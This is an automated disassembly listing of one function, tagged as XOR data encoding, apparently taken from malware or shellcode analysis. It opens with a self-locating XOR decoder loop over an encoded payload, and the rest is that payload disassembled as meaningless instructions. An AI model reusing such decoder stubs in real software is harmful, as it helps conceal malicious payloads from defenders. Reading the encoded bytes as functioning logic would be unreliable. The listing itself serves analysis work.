Function at 0xfdccb4
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x67ede4
add byte [eax], al
jmp 0xfdccbe
pushal
call 0xfdccc4
pop ebp
sub ebp, 0x10
sub ebp, 0xbdccb4
jmp 0xfdccda
mov eax, 0xbdccb4
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b0
mov edx, 0x6bda566a
add byte [edx + 0x6bda566a], bh
xor byte [eax], dl
inc eax
dec ecx
jne 0xfdccf1
jmp 0xfdcd04
loope 0xfdccad
loope 0xfdcceb
push esi
push 0x6a
push 0xffffffffffffffeb
stosd dword es:[edi], eax
xchg edx, eax
push 0x6a
push 0x69
cmpsd dword [esi], dword es:[edi]
shr byte [esi + 0x6a], cl
push 0x6a
rol byte [edx + 0x6a], 1
push 0x6a
popfd
mov byte [ecx - 0x5e], ch
loope 0xfdcd0f
push 0x6a
push 0x69
scasd eax, dword es:[edi]
cmp ah, bh
push cs
dec esi
xchg esi, eax
jecxz 0xfdcd9f
dec esi
add dl, byte [esi + 0x26a4b03]
fisttp word [eax]
imul byte [edx + 0x6b]
inc esi
dec esi
add ch, byte [0x820d4778]
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffff83
pop esp
push 0x6a
push 0xffffffffffffffe7
push cs
dec esi
xchg esi, eax
jecxz 0xfdcd9a
dec esi
out 6, eax
dec esi
push 0xffffffffffffffe1
out dx, eax
bound ebp, qword [edx + 0x6a]
push 0xffffffffffffffe1
jmp dword [esi + 0x6a]
out 0xe, eax
dec esi
xchg esi, eax
jecxz 0xfdce04
dec esi
sub byte [edi + 0x6a], 0x6a
push 0xffffffffffffff83
push ecx
push 0xee76a6a
dec esi
xchg esi, eax
jecxz 0xfdcdf5
inc esi
dec esi
out 6, eax
dec esi
push 0xffffffffffffff95
pop ds
xchg bp, ax
pop ds
bound eax, qword [edx + 0x6a6a6a0c]
loope 0xfdcd98
bound ebp, qword [edx + 0x6a]
push 0x59
mov dword [0x82e9b859], eax
outsd dx, dword [esi]
and ah, byte [ebp - 0x12]
and al, 0x6a
push 0x6a
loop 0xfdcdf8
push 0x6a
push 0xc
loope 0xfdce52
push ebx
ljmp 0x6a70
push 0x6a
ljmp 0x6a7b
push 0x6a
or al, 0xeb
xchg ecx, eax
xchg ebp, eax
dec edi
out dx, al
out dx, al
jg 0xfdce62
push 0x6a
sub eax, dword [ebx - 0x6a6a6a5a]
inc ebx
push ebx
imul ebp, ecx, 0xffffffab
outsd dx, dword [esi]
jmp 0xd8813c8e
jmp 0x83e73db4
xchg ebp, eax
inc ebx
push ebx
push 0xe96cabe9
sub byte [esi - 0x17], 0x82
outsd dx, dword [esi]
add ecx, 0xffffff95
xchg ebp, eax
xchg ebp, eax
aaa
test al, 0x66
push 0x3f
loope 0xfdcdae
cmp al, 0x3d
aas
loope 0xfdce4c
loope 0xfdce47
bound edx, qword [esi + 0x6ce0ead8]
jmp 0xfdcde4
insd dword es:[edi], dx
jmp 0xfdcded
push 0x6a
push 0x6fef65b8
out dx, eax
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0xfdce80
js 0xfdce0e
jmp 0x9693640e
mov dl, 0x95
xchg ebp, eax
xchg ebp, eax
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0xfdce93
push 0x6a
loopne 0xfdcee2
sub al, 0x78
mov eax, 0x6a00e965
push 0x6a
pop ecx
stosb byte es:[edi], al
push 0x6fef65b8
js 0xfdce21
jmp 0x6b68386f
jmp 0x6b68386f
push 0x6a
push 0xffffffffffffffe0
jl 0xfdcea8
js 0xfdce36
mov eax, 0x6b40e965
push 0x6a
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0xfdcebb
jmp 0x6b6839c4
inc eax
imul ebp, dword [edx + 0x6a], 0x68
mov eax, 0x6a6fef65
push 0x6a
loopne 0xfdcf0a
sub al, 0x78
mov eax, 0xb868aa79
out dx, eax
js 0xfdce49
jns 0xfdce3d
push 0x6fef65b8
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0xfdceca
js 0xfdce58
jns 0xfdce4c
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0xfdced9
mov eax, 0x6a6fef65
push 0x6a
loopne 0xfdcf28
sub al, 0x78
mov eax, 0xb868aa79
out dx, eax
outsd dx, dword [esi]
js 0xfdce67
jns 0xfdce5b
push 0x6fef65b8
mov eax, 0x6a6fef65
push 0x6a
loopne 0xfdcf37
push 0x6a
push 0xffffffffffffffe0
jl 0xfdcee8
sub al, 0x78
mov eax, 0xee65aa79
js 0xfdce76
jns 0xfdce6a
out dx, al
insb byte es:[edi], dx
push 0x6a
push 0xffffffffffffffe1
mov ch, 0x41
push 0x6a
loope 0xfdce7d
inc ecx
mov dl, 0xe0
imul esp, edx, 0x68d12d6d
push 0x6a
loopne 0xfdcf35
loop 0xfdcf3b
sub eax, 0x6a6a68d1
push 0xffffffffffffff83
sbb dl, byte [ebp + 0x6bd29595]
push 0x6a
push 0x68
mov eax, 0x6a6fef65
push 0x6a
sbb dword [edx], 0xffffff95
xchg ebp, eax
xchg ebp, eax
shr byte [ebx + 0x6a], cl
push 0x6a
push 0x6fef65b8
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0xfdcf15
loopne 0xfdcf64
sub al, 0x78
mov eax, 0xb868aa79
out dx, eax
outsd dx, dword [esi]
js 0xfdcea3
jns 0xfdce97
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0xfdcf24
js 0xfdceb2
call 0x969364b4
inc ecx
test eax, 0x6a6a6bd1
push 0x65
out dx, eax
push 0x6a
out dx, eax
pop esi
push 0x6a
push 0xffffffffffffffd3
imul ebp, dword [edx + 0x6a], 0x6a
push 0x6fef65b8
push 0x68
mov eax, 0x6a6fef65
push 0x6a
loopne 0xfdcf98
out dx, eax
out dx, eax
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0xfdcf49
sub al, 0x78
mov eax, 0xb868a379
js 0xfdced7
jns 0xfdcec4
push 0x6fef65b8
out dx, eax
out dx, eax
outsd dx, dword [esi]
push 0x6a
push 0xffffffffffffffe0
jl 0xfdcf58
loopne 0xfdcfa7
sub al, 0x78
mov eax, 0x95b4e865
xchg ebp, eax
xchg ebp, eax
js 0xfdcee6
call 0x969364e8
cmp al, 0xe1
popfd
loope 0xfdced4
inc ecx
lahf
cdq
into
xor al, 0x83
bound edx, qword [ebp - 0x54dd6a6b]
mov ah, byte [edx - 0x20]
insb byte es:[edi], dx
sub al, 0xe1
adc bl, 0x6b
push 0x6a
push 0x68
mov eax, 0x6a6fef65
push 0x6a
loopne 0xfdcfd5
jl 0xfdcf86
sub al, 0x78
mov eax, 0xb868a379
out dx, eax
outsd dx, dword [esi]
js 0xfdcf14
jns 0xfdcf01
push 0x6fef65b8
push 0x6a
push 0xffffffffffffffe0
jl 0xfdcf95
push 0x6a
loopne 0xfdcfe4
sub al, 0x78
mov eax, 0x95b4e865
xchg ebp, eax
xchg ebp, eax
js 0xfdcf23
call 0x96936525
jmp 0xfdcf05
xchg ebp, eax
xchg ebp, eax
xchg ebp, eax
xchg ebp, eax
jmp 0xfdcf11
xchg ebp, eax
xchg ebp, eax
xchg ebp, eax
jmp 0xfdcf1d
jmp 0xfdcf29
push 0x6a
push 0xffffffffffffffeb
mov ebx, 0x6a6a6a6a
cmp al, 0xe1
popfd
inc ecx
lcall 0x94f1, 0x8334ce99
into
xor al, 0x83
int1
xchg esp, eax
xchg ebp, eax
xchg ebp, eax
loopne 0xfdd01c
sub al, 0x59
mov dword [0x656b82aa], eax
out dx, al
jo 0xfdd024
push 0x6a
jmp 0xfdcf79
xchg ebp, eax
aaa
inc ecx
pop ss
invalid
xor eax, 0x6a6e8334
push 0x6a
iretd
cmpsb byte [esi], byte es:[edi]
fisub dword [esi]
insd dword es:[edi], dx
salc
cmpsb byte [esi], byte es:[edi]
invalid
int1
push ecx
push ecx
push ecx
push edx
scasd eax, dword es:[edi]
fmul qword [edi]
push ecx
invalid